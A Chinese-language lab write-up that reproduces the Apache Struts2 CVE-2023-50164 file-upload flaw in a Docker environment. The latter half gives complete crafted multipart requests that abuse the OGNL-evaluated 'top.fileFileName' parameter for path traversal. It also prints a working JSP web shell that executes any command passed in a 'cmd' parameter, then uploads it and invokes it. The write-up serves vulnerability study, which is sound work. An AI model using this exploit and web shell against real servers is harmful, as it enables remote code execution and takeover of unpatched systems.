Apache Struts2 CVE-2023-50164
简述
Apache Struts2 是一个开源的 Java Web 应用程序开发框架,旨在帮助开发人员构建灵活、可维护和可扩展的企业级Web应用程序。攻击者可利用该漏洞,在特定的条件下,通过污染(越界,特殊符号,等等)相关上传参数导致任意文件上传,执行任意代码,建议及时修复。简单的来说就是有一个文件上传,然后有一个特定条件,然后还有相关参数。
影响范围
Struts 2.0.0-2.3.37
Strust 2.5.0-2.5.32
Strust 6.0.0-6.3.0
漏洞描述
Apache Struts 2多个受影响版本中,由于文件上传逻辑存在缺陷,威胁者可操纵文件上传参数导致路径遍历,某些情况下可能上传恶意文件,造成远程代码执行。
环境搭建
1 2 3 4
| cd /root docker run -d -p 10006:8080 -p 10007:5005 --name struts2_container vulhub/struts2:s2-067 或者 docker start 288e62512a5b
|
进入http://101.x.x.x:10006
漏洞复现
主页

写一个23.txt
内容为,一句话木马
1 2 3
| < out.println("hello world");
|
这里先测试
主页上传并抓包

进入容器shell里查看
1 2
| docker ps docker exec -it 288e62512a5b /bin/bash
|

我们已经成功上传,并在/usr/local/tomcat/webapps/ROOT/upload目录下
数据包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| POST /index.action HTTP/1.1 Host: 101.200.13.127:10006 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Content-Type: multipart/form-data; boundary=----geckoformboundary8c6ed9701bb651bb68a06646386f356d Content-Length: 251 Origin: http://101.200.13.127:10006 Connection: keep-alive Referer: http://101.200.13.127:10006/index.action Cookie: JSESSIONID=61802EE206A0C86ECA91F8D1299E6DB6 Upgrade-Insecure-Requests: 1 Priority: u=0, i
Content-Disposition: form-data; name="file"; filename="23.txt" Content-Type: text/plain
<% out.println("hello world"); %>
|
但是我们不能直接访问它,它这里在受限目录中,且没有执行权限


接下来构造使这个文件可以被上传到受限目录外,并且能被访问
构造数据包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| POST /index.action HTTP/1.1 Host: 101.x.x.x:10006 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl6ZFZPznNSPZOFJF Content-Length: 333 Origin: http://101.x.x.1x:10006 Connection: keep-alive Referer: http://101.x.x.x:10006/index.action Cookie: JSESSIONID=61802EE206A0C86ECA91F8D1299E6DB6 Upgrade-Insecure-Requests: 1 Priority: u=0, i
Content-Disposition: form-data; name="file"; filename="shell.jsp" Content-Type: text/plain
<% out.println("hello world"); %>
Content-Disposition: form-data; name="top.fileFileName"
../shell.jsp
|
注意利用过程中的关键要素:
- 不同于 S2-066 利用大小写敏感性,这里使用了参数键名中的 OGNL 表达式计算
- 参数键名
top.fileFileName 会被作为 OGNL 表达式进行计算
- 这个计算允许我们使用路径穿越 payload
../shell.jsp 覆盖文件名

JSP 文件现在被上传到了受限上传目录之外,并且可以被执行:

新建一个shell3.jsp
1 2 3 4 5 6 7 8 9 10
| <%@ page import="java.io.InputStream, java.io.BufferedReader, java.io.InputStreamReader" %> <% Process process = Runtime.getRuntime().exec(request.getParameter("cmd")); InputStream inputStream = process.getInputStream(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); String line; while ((line = bufferedReader.readLine()) != null) { response.getWriter().println(line); } %>
|
上传并执行命令,构造和上面一样的数据包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| POST /index.action HTTP/1.1 Host: 101.x.x.x:10006 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl6ZFZPznNSPZOFJF Content-Length: 754 Origin: http://101.x.x.x:10006 Connection: keep-alive Referer: http://101.x.x.x:10006/index.action Cookie: JSESSIONID=61802EE206A0C86ECA91F8D1299E6DB6 Upgrade-Insecure-Requests: 1 Priority: u=0, i
Content-Disposition: form-data; name="file"; filename="shell3.jsp" Content-Type: text/plain
<%@ page import="java.io.InputStream, java.io.BufferedReader, java.io.InputStreamReader" %> <% Process process = Runtime.getRuntime().exec(request.getParameter("cmd")); InputStream inputStream = process.getInputStream(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); String line; while ((line = bufferedReader.readLine()) != null) { response.getWriter().println(line); } %>
Content-Disposition: form-data; name="top.fileFileName"
../shell3.jsp
|

http://101.x.x.x:10006/shell3.jsp?cmd=whoami

